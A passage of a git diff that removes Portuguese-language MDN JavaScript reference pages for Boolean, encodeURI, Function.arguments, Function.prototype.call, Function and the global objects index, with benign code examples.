-</pre>
-
-<p>If you specify any object, including a <code>Boolean</code> object whose value is <code>false</code>, as the initial value of a <code>Boolean</code> object, the new <code>Boolean</code> object has a value of <code>true</code>.</p>
-
-<pre class="brush: js">var myFalse = Boolean(false); // initial value of false
-var g = Boolean(myFalse); // initial value of true
-var myString = new String('Hello'); // string object
-var s = Boolean(myString); // initial value of true
-</pre>
-
-<p>Do not use a <code>Boolean</code> object in place of a <code>Boolean</code> primitive.</p>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt><code>Boolean.length</code></dt>
- <dd>Length property whose value is 1.</dd>
- <dt>{{jsxref("Boolean.prototype")}}</dt>
- <dd>Represents the prototype for the <code>Boolean</code> constructor.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p>While the global <code>Boolean</code> object contains no methods of its own, it does inherit some methods through the prototype chain:</p>
-
-<h2 id="Instâncias_Boolean">Instâncias <em><code>Boolean</code></em></h2>
-
-<p>All <code>Boolean</code> instances inherit from {{jsxref("Boolean.prototype")}}. As with all constructors, the prototype object dictates instances' inherited properties and methods.</p>
-
-<h3 id="Propridades">Propridades</h3>
-
-<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Properties')}}</div>
-
-<h3 id="Métodos_2">Métodos</h3>
-
-<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Methods')}}</div>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Criar_objetos_Boolean_com_um_valor_inicial_de_false">Criar objetos <em><code>Boolean</code> </em>com um valor inicial de <em><code>false</code></em></h3>
-
-<pre class="brush: js">var bNoParam = Boolean();
-var bZero = Boolean(0);
-var bNull = Boolean(null);
-var bEmptyString = Boolean('');
-var bfalse = Boolean(false);
-</pre>
-
-<h3 id="Criar_objetos_Boolean_com_um_valor_inicial_de_verdadeiro">Criar objetos <em><code>Boolean</code> </em>com um valor inicial de <em><code>verdadeiro</code></em></h3>
-
-<pre class="brush: js">var btrue = Boolean(true);
-var btrueString = Boolean('true');
-var bfalseString = Boolean('false');
-var bSuLin = Boolean('Su Lin');
-var bArrayProto = Boolean([]);
-var bObjProto = Boolean({});
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.0.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.6', 'Boolean')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-boolean-objects', 'Boolean')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Boolean")}}</p>
-</div>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{jsxref("Boolean.prototype")}}</li>
- <li>{{Glossary("Booliano")}}</li>
- <li><a href="https://pt.wikipedia.org/wiki/Booleano">Tipo de dados Booliano (Wikipedia)</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/encodeuri/index.html b/files/pt-pt/web/javascript/reference/global_objects/encodeuri/index.html
deleted file mode 100644
index 5f8c84ca8e..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/encodeuri/index.html
+++ /dev/null
@@ -1,152 +0,0 @@
----
-title: encodeURI()
-slug: Web/JavaScript/Reference/Global_Objects/encodeURI
-translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI
----
-<div>{{jsSidebar("Objects")}}</div>
-
-<p>O método <code><strong>encodeURI()</strong></code> codifica um Uniform Resource Identifier (URI) substituindo cada instancia de determinados caracteres por um, dois, três, ou quatro sequências de escape que representem a codificação UTF-8 do caracter (apenas serão quatro sequências de caracteres de escape para caracteres compostos por dois caracteres de "substituição").</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code>encodeURI(<em>URI</em>)</code></pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>URI</code></dt>
- <dd>Um Uniform Resource Identifier completo.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Assumindo que o URI é um URI completo, não serão codificados caracteres reservados que tenham significado especial no URI.</p>
-
-<p><code>encodeURI</code> substitui todos os caracteres <strong>excepto</strong> as seguintes sequências de escape UTF-8:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Tipo</td>
- <td class="header">Incluído</td>
- </tr>
- <tr>
- <td>Caracteres reservados</td>
- <td><code>;</code> <code>,</code> <code>/</code> <code>?</code> <code>:</code> <code>@</code> <code>&amp;</code> <code>=</code> <code>+</code> <code>$</code></td>
- </tr>
- <tr>
- <td>Caracteres excluídos</td>
- <td>alfabéticos, dígitos decimais , <code>-</code> <code>_</code> <code>.</code> <code>!</code> <code>~</code> <code>*</code> <code>'</code> <code>(</code> <code>)</code></td>
- </tr>
- <tr>
- <td>Ponto</td>
- <td><code>#</code></td>
- </tr>
- </tbody>
-</table>
-
-<p>Note-se que o método <code>encodeURI</code> <em>não consegue</em> criar correctamente os pedidos HTTP GET e POST, o mesmo aplica-se para XMLHTTPRequests, porque os caracteres "&amp;", "+", e "=" não são codificados, por se tratarem de caracteres especiais nos pedidos GET e POST. {{jsxref("encodeURIComponent")}}, no entanto, codifica estes caracteres.</p>
-
-<p>Note-se que será lançado um {{jsxref("URIError")}} caso se tente codificar um substituto que não faça parte de um par superior-inferior, p.ex.,</p>
-
-<pre class="brush: js">// par superior-inferior ok
-console.log(encodeURI('\uD800\uDFFF'));
-
-// substituição única de par superior lança "URIError: malformed URI sequence"
-console.log(encodeURI('\uD800'));
-
-// substituição única de par inferior lança "URIError: malformed URI sequence"
-console.log(encodeURI('\uDFFF')); </pre>
-
-<p>Note-se também que caso se pretenda seguir a mais recente norma para URLs <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a>, que torna os parênteses rectos reservados (para IPv6) e, por consequência, não será codificado quando fizer parte de um URL (como um host), o seguinte exemplo de código pode ajudar:</p>
-
-<pre class="brush: js">function fixedEncodeURI (str) {
- return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
-}</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES3')}}</td>
- <td>{{Spec2('ES3')}}</td>
- <td>Initial definition.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.1.3.3', 'encodeURI')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-encodeuri-uri', 'encodeURI')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_com_navegador">Compatibilidade com navegador</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{jsxref("decodeURI")}}</li>
- <li>{{jsxref("encodeURIComponent")}}</li>
- <li>{{jsxref("decodeURIComponent")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/function/arguments/index.html b/files/pt-pt/web/javascript/reference/global_objects/function/arguments/index.html
deleted file mode 100644
index 4c9bf9e96e..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/function/arguments/index.html
+++ /dev/null
@@ -1,88 +0,0 @@
----
-title: Function.arguments
-slug: Web/JavaScript/Reference/Global_Objects/Function/arguments
-translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments
----
-<div>{{JSRef}} {{deprecated_header}}</div>
-
-<div>A propriedade <strong><code><em>function.arguments</em></code></strong> refere-se a um objecto com aspecto de <em>array</em> que corresponde aos argumentos da função. Ao invés disso, use a variável {{jsxref("Functions/arguments", "arguments")}}. Esta propriedade é proibida no modo <em>strict</em> devido ao <em><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-addrestrictedfunctionproperties">tail call optimization</a></em>.</div>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>A síntaxe <code>function.arguments</code> está obsoleta. A forma recomendade de aceder ao objecto {{jsxref("Functions/arguments", "arguments")}} disponível nas função é usar simplesment a variável {{jsxref("Functions/arguments", "arguments")}}.</p>
-
-<p>No caso de recursão isto é, se uma funão <code>f</code> aparece várias vezes na <em>stack, </em>o valor de <code>f.arguments</code> representa os argumentos correspondentes à mais recente chamada da função.</p>
-
-<p>O valor da propriedade <code>arguments</code> é tipicamente <em>null</em> se não há nenuma invocação da função a acontecer, ou seja, a função foi chamada mas ainda não retornou.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: js">function f(n) { g(n - 1); }
-
-function g(n) {
- console.log('antes: ' + g.arguments[0]);
- if (n &gt; 0) { f(n); }
- console.log('depois: ' + g.arguments[0]);
-}
-
-f(2);
-
-console.log('retornado: ' + g.arguments);
-
-// Output
-
-// antes: 1
-// antes: 0
-// depois: 0
-// depois: 1
-// retornado: null
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>
- <p>Definição inicial. Implementado em JavaScript 1.0. Tornado obsoleto a favor de {{jsxref("Functions/arguments", "arguments")}} em ES3.</p>
- </td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-10.6', 'arguments object')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td>Objecto {{jsxref("Functions/arguments", "arguments")}}</td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-arguments-object', 'arguments object')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>Objecto {{jsxref("Functions/arguments", "arguments")}}</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-arguments-object', 'arguments object')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td>Objecto {{jsxref("Functions/arguments", "arguments")}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_navegadores">Compatibilidade navegadores</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Function.arguments")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>Objecto {{jsxref("Functions/arguments", "arguments")}}</li>
- <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/function/call/index.html b/files/pt-pt/web/javascript/reference/global_objects/function/call/index.html
deleted file mode 100644
index fa3faee130..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/function/call/index.html
+++ /dev/null
@@ -1,164 +0,0 @@
----
-title: Function.prototype.call()
-slug: Web/JavaScript/Reference/Global_Objects/Function/call
-tags:
- - Function
- - JavaScript
- - metodo
-translation_of: Web/JavaScript/Reference/Global_Objects/Function/call
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>call()</strong></code> realiza a chamada de uma função com o parâmetros <code>this</code> além de outros parâmetros fornecidos individualmente.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/function-call.html")}}</div>
-
-
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate"><var>func</var>.call([<var>thisArg</var>[, <var>arg1</var>, <var>arg2</var>, ...<var>argN</var>]])</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><em><code>thisArg</code></em> {{optional_inline}}</dt>
- <dd>O valor de <code>this</code> fornecido ao chamar <code><em>func</em></code>.</dd>
-</dl>
-
-<div class="blockIndicator note">
-<p>Aviso: Em certos casos, <em><code>thisArg</code></em> pode não ser o valor que o método vê.</p>
-
-<p>Se o método for uma função em {{jsxref("Strict_mode", "non-strict mode", "", 1)}}, {{jsxref("Global_Objects/null", "null")}} e {{jsxref("Global_Objects/undefined", "undefined")}} são substituídos pelo objeto global, e valores primitivos são convertidos em objetos.</p>
-</div>
-
-<dl>
- <dt><em><code>arg1, arg2, ...argN</code></em> {{optional_inline}}</dt>
- <dd>Parâmetros para a função.</dd>
-</dl>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>O resultado ao chamar a função em questão com os parâmetros <code>this</code> e os outros argumentos especificados.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p><code>call()</code> permite uma função / método pertencendo a um objeto, ser atribuída a outro objeto e ser chamada desse mesmo.</p>
-
-<p><code>call()</code> fornece um novo valor para <code>this</code> à função / método. Com <code>call()</code>, pode escrever um método uma vez, e depois herdar o método noutro objeto, sem ter de rescrever a função para o novo objeto.</p>
-
-<div class="blockIndicator note">
-<p>Nota: Apesar de a sintaxe da função ser quase idêntica à da {{jsxref("Function.prototype.apply", "apply()")}}, a principal diferença é que <code>call()</code> aceita uma <strong>lista de argumentos</strong> (<code>arg1, arg2, ...argN</code>), enquanto <code>apply()</code> aceita <strong>uma matriz de argumentos</strong> (<code>[arg1, arg2, ...argN]</code>).</p>
-</div>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usar_call_para_encadear_construtores_dum_objeto">Usar <code>call</code> para encadear construtores dum objeto</h3>
-
-<p>É possível utilizar <code>call</code> para encadear construtores para um objeto (como em Java).</p>
-
-<p>No exemplo abaixo, o construtor para o objeto <code>Product</code> é definido com dois parâmetros: <code>name</code> e <code>price</code>.</p>
-
-<p>Duas outras funções, <code>Food</code> e <code>Toy</code>, invocam <code>Product</code> passando os parâmetros <code>this</code><font face="Open Sans, arial, sans-serif">, </font><code>name</code> e <code>price</code>. As funções <code>Food</code> e <code>Toy</code> também definem a propriadade <code>category</code>.</p>
-
-<pre class="brush: js notranslate">function Product(name, price) {
- this.name = name;
- this.price = price;
-}
-
-function Food(name, price) {
- Product.call(this, name, price);
- this.category = 'food';
-}
-
-function Toy(name, price) {
- Product.call(this, name, price);
- this.category = 'toy';
-}
-
-const cheese = new Food('feta', 5);
-const fun = new Toy('robot', 40);</pre>
-
-<h3 id="Usar_call_para_invocar_uma_função_anónima">Usar <code>call</code> para invocar uma função anónima</h3>
-
-<p>Neste exemplo, criamos uma função anónima e utilizamos <code>call</code> para invocá-la em cada objeto na matriz.</p>
-
-<p>O principal objetivo da função anónima é inserir a função <code>print</code> em cada objeto. A função <code>print</code> imprimir o índice do objeto na matriz em que se encontra.</p>
-
-<div class="blockIndicator note">
-<p>Passar o objeto desta forma (como <code>this</code>) não é necessário, mas foi feito de forma a exemplificar a função.</p>
-</div>
-
-<pre class="brush: js notranslate">var animals = [
- { species: 'Lion', name: 'King' },
- { species: 'Whale', name: 'Fail' }
-];
-
-for (var i = 0; i &lt; animals.length; i++) {
- (function(i) {
- this.print = function() {
- console.log('#' + i + ' ' + this.species
- + ': ' + this.name);
- }
- this.print();
- }).call(animals[i], i);
-}
-</pre>
-
-<h3 id="Usar_call_para_invocar_a_função_sem_especificar_o_primeiro_argumento">Usar <code>call</code> para invocar a função sem especificar o primeiro argumento</h3>
-
-<p>No exemplo abaixo, quando chamamos a função <code>display</code> sem passar o primeiro argumento. Se o primeiro argumento não é especificado, o objeto global é atribuído a <code>this</code>.<br>
-  </p>
-
-<pre class="brush: js notranslate">var sData = 'Wisen';
-
-function display() {
- console.log('sData value is %s ', this.sData);
-}
-
-display.call(); // sData value is Wisen</pre>
-
-<div class="note">
-<p><strong>Aviso:</strong> Em "strict mode", o valor de <code>this</code> é <code>undefined</code>, exemplificado em baixo.</p>
-</div>
-
-<pre class="brush: js notranslate">'use strict';
-
-var sData = 'Wisen';
-
-function display() {
- console.log('sData value is %s ', this.sData);
-}
-
-display.call(); // Cannot read the property of 'sData' of undefined</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-
-
-<p>{{Compat("javascript.builtins.Function.call")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{jsxref("Function.prototype.bind()")}}</li>
- <li>{{jsxref("Function.prototype.apply()")}}</li>
- <li>
- <p><a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></p>
- </li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/function/index.html b/files/pt-pt/web/javascript/reference/global_objects/function/index.html
deleted file mode 100644
index 6ebfd66c44..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/function/index.html
+++ /dev/null
@@ -1,192 +0,0 @@
----
-title: Function
-slug: Web/JavaScript/Reference/Global_Objects/Function
-tags:
- - Constructor
- - Function
- - JavaScript
- - NeedsTranslation
- - TopicStub
-translation_of: Web/JavaScript/Reference/Global_Objects/Function
----
-<div>{{JSRef}}</div>
-
-<p>The <strong><code>Function</code> constructor</strong> creates a new <code>Function</code> object. In JavaScript every function is actually a <code>Function</code> object.</p>
-
-<h2 id="Syntax">Syntax</h2>
-
-<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
-
-<h3 id="Parameters">Parameters</h3>
-
-<dl>
- <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
- <dd>Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
- <dt><code>functionBody</code></dt>
- <dd>A string containing the JavaScript statements comprising the function definition.</dd>
-</dl>
-
-<h2 id="Description">Description</h2>
-
-<p><code>Function</code> objects created with the <code>Function</code> constructor are parsed when the function is created. This is less efficient than declaring a function with a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> and calling it within your code, because such functions are parsed with the rest of the code.</p>
-
-<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p>
-
-<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
-
-<h2 id="Properties_and_Methods_of_Function">Properties and Methods of <code>Function</code></h2>
-
-<p>The global <code>Function</code> object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.</p>
-
-<h2 id="Function_prototype_object"><code>Function</code> prototype object</h2>
-
-<h3 id="Properties">Properties</h3>
-
-<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}</div>
-
-<h3 id="Methods">Methods</h3>
-
-<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}</div>
-
-<h2 id="Function_instances"><code>Function</code> instances</h2>
-
-<p><code>Function</code> instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all <code>Function</code> instances.</p>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Specifying_arguments_with_the_Function_constructor">Specifying arguments with the <code>Function</code> constructor</h3>
-
-<p>The following code creates a <code>Function</code> object that takes two arguments.</p>
-
-<pre class="brush: js">// Example can be run directly in your JavaScript console
-
-// Create a function that takes two arguments and returns the sum of those arguments
-var adder = new Function('a', 'b', 'return a + b');
-
-// Call the function
-adder(2, 6);
-// &gt; 8
-</pre>
-
-<p>The arguments "<code>a</code>" and "<code>b</code>" are formal argument names that are used in the function body, "<code>return a + b</code>".</p>
-
-<h3 id="Difference_between_Function_constructor_and_function_declaration">Difference between Function constructor and function declaration</h3>
-
-<p>Functions created with the <code>Function</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>Function</code> constructor was called. This is different from using {{jsxref("eval")}} with code for a function expression.</p>
-
-<pre class="brush: js">var x = 10;
-
-function createFunction1() {
- var x = 20;
- return new Function('return x;'); // this |x| refers global |x|
-}
-
-function createFunction2() {
- var x = 20;
- function f() {
- return x; // this |x| refers local |x| above
- }
- return f;
-}
-
-var f1 = createFunction1();
-console.log(f1()); // 10
-var f2 = createFunction2();
-console.log(f2()); // 20
-</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.0.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Functions", "Functions and function scope")}}</li>
- <li>{{jsxref("Function")}}</li>
- <li>{{jsxref("Statements/function", "function statement")}}</li>
- <li>{{jsxref("Operators/function", "function expression")}}</li>
- <li>{{jsxref("Statements/function*", "function* statement")}}</li>
- <li>{{jsxref("Operators/function*", "function* expression")}}</li>
- <li>{{jsxref("GeneratorFunction")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/index.html b/files/pt-pt/web/javascript/reference/global_objects/index.html
deleted file mode 100644
index f3850bdfd2..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/index.html
+++ /dev/null
@@ -1,173 +0,0 @@
----
-title: Objetos integrados padrão
-slug: Web/JavaScript/Reference/Global_Objects
-tags:
- - Built-in
- - JavaScript
- - Objects
- - Reference
-translation_of: Web/JavaScript/Reference/Global_Objects
----
-<div>{{jsSidebar("Objects")}}</div>
-
-<h2 id="Summary" name="Summary">Resumo</h2>
-
-<p>Este capítulo documenta todos os objectos built-in do JavaScript standard, juntamente com os seus métodos e propriedades.</p>
-
-<div class="onlyinclude">
-<p>O termo "objectos globais" (ou objectos built-in standard) não é para ser confundido com <em>objecto global</em>. Aqui, os objectos globais referem-se a objectos no scope global (mas apenas se o modo strict do ECMAScript 5 não estiver a ser usado! Senão retorna <code>undefined</code>). O próprio <em>global object</em> pode ser acedido através do operador {{jsxref("Operators/this", "this")}} no scope global. Na verdade, o scope global consiste nas propriedades do objecto global (incluíndo propriedades herdadas, se alguma).</p>
-
-<p>Outros objectos no scope global são <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">criados através do script do utilizador</a> or fornecidos pela aplicação host. Os objectos do host disponíveis no contexto browser são documentados na <a href="/en-US/docs/Web/API/Reference">referência da API</a>. Para mais informações sobre a distinção entre <a href="/en-US/docs/DOM/DOM_Reference">DOM</a> e o núcleo do <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, ver <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">exposição das tecnologias do JavaScript</a>.</p>
-
-<h2 id="Objetos_padrão_(por_categoria)">Objetos padrão (por categoria)</h2>
-
-<h3 id="Propriedades_do_valor">Propriedades do valor</h3>
-
-<p>Estas propriedades globais devolvem um valor simples; estas não têm propriedades ou métodos.</p>
-
-<ul>
- <li>{{jsxref("Infinity")}}</li>
- <li>{{jsxref("NaN")}}</li>
- <li>{{jsxref("undefined")}}</li>
- <li>{{jsxref("null")}} literal</li>
-</ul>
-
-<h3 id="Propriedades_da_função">Propriedades da função</h3>
-
-<p>Estas funções globais - funções que são chamadas no mundo ao invés de um objeto - devolvem diretamente os seus resultados para o chamador.</p>
-
-<ul>
- <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
- <li>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline()}}</li>
- <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li>
- <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
- <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
- <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
- <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
- <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
- <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
- <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
- <li>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline()}}</li>
- <li>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline()}}</li>
-</ul>
-
-<h3 id="Objetos_fundamentais">Objetos fundamentais</h3>
-
-<p>Estes são os objetos básicos, fundamentais, em que todos os outros objetos são baseados. Isto inclui objetos que representam objetos gerais, funções, e erros.</p>
-
-<ul>
- <li>{{jsxref("Object")}}</li>
- <li>{{jsxref("Function")}}</li>
- <li>{{jsxref("Boolean")}}</li>
- <li>{{jsxref("Symbol")}} {{experimental_inline()}}</li>
- <li>{{jsxref("Error")}}</li>
- <li>{{jsxref("EvalError")}}</li>
- <li>{{jsxref("InternalError")}}</li>
- <li>{{jsxref("RangeError")}}</li>
- <li>{{jsxref("ReferenceError")}}</li>
- <li>{{jsxref("StopIteration")}}</li>
- <li>{{jsxref("SyntaxError")}}</li>
- <li>{{jsxref("TypeError")}}</li>
- <li>{{jsxref("URIError")}}</li>
-</ul>
-
-<h3 id="Números_e_datas">Números e datas</h3>
-
-<p>Objectos que lidam com números, datas e cálculos matemáticos.</p>
-
-<ul>
- <li>{{jsxref("Number")}}</li>
- <li>{{jsxref("Math")}}</li>
- <li>{{jsxref("Date")}}</li>
-</ul>
-
-<h3 id="Processamento_de_texto">Processamento de texto</h3>
-
-<p>Objectos para manipular texto.</p>
-
-<ul>
- <li>{{jsxref("String")}}</li>
- <li>{{jsxref("RegExp")}}</li>
-</ul>
-
-<h3 id="Coleções_indexadas">Coleções indexadas</h3>
-
-<p>Coleções ordenadas por um indíce. Objectos do tipo array.</p>
-
-<ul>
